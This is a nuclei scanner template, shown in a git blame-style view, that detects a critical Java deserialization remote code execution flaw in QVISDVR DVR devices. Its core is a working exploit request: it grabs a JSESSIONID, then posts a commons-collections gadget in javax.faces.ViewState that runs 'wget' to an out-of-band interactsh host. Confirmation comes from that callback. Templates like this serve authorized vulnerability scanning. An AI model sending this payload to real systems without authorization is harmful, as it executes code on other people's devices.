nuclei-templates/http/iot/qvisdvr-deserialization-rce...

55 lines
1.3 KiB
YAML
Raw Normal View History

2021-07-18 16:30:43 +00:00
id: qvisdvr-deserialization-rce
info:
name: QVISDVR JSF Deserialization - Remote Code Execution
author: me9187
2021-07-18 16:30:43 +00:00
severity: critical
description: |
QVISDVR Java-Deserialization was discovered, which could allow remote code execution.
reference:
- https://twitter.com/Me9187/status/1414606876575162373
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cwe-id: CWE-77
2021-07-18 16:30:43 +00:00
tags: qvisdvr,rce,deserialization,jsf,iot
metadata:
max-request: 2
2021-07-18 16:30:43 +00:00
http:
2021-07-18 16:30:43 +00:00
- raw:
- |
GET /qvisdvr/ HTTP/1.1
Host: {{Hostname}}
2021-07-18 16:30:43 +00:00
Content-Type: application/x-www-form-urlencoded
2021-07-27 16:13:39 +00:00
2021-07-18 16:30:43 +00:00
- |
POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
Host: {{Hostname}}
2021-07-18 16:30:43 +00:00
Content-Type: application/x-www-form-urlencoded
2021-07-27 10:59:17 +00:00
javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}
2021-07-18 16:30:43 +00:00
extractors:
- type: regex
name: token
group: 1
internal: true
part: header
regex:
- "JSESSIONID=(.*)"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- http
- type: status
status:
- 500
# Enhanced by mp on 2022/05/19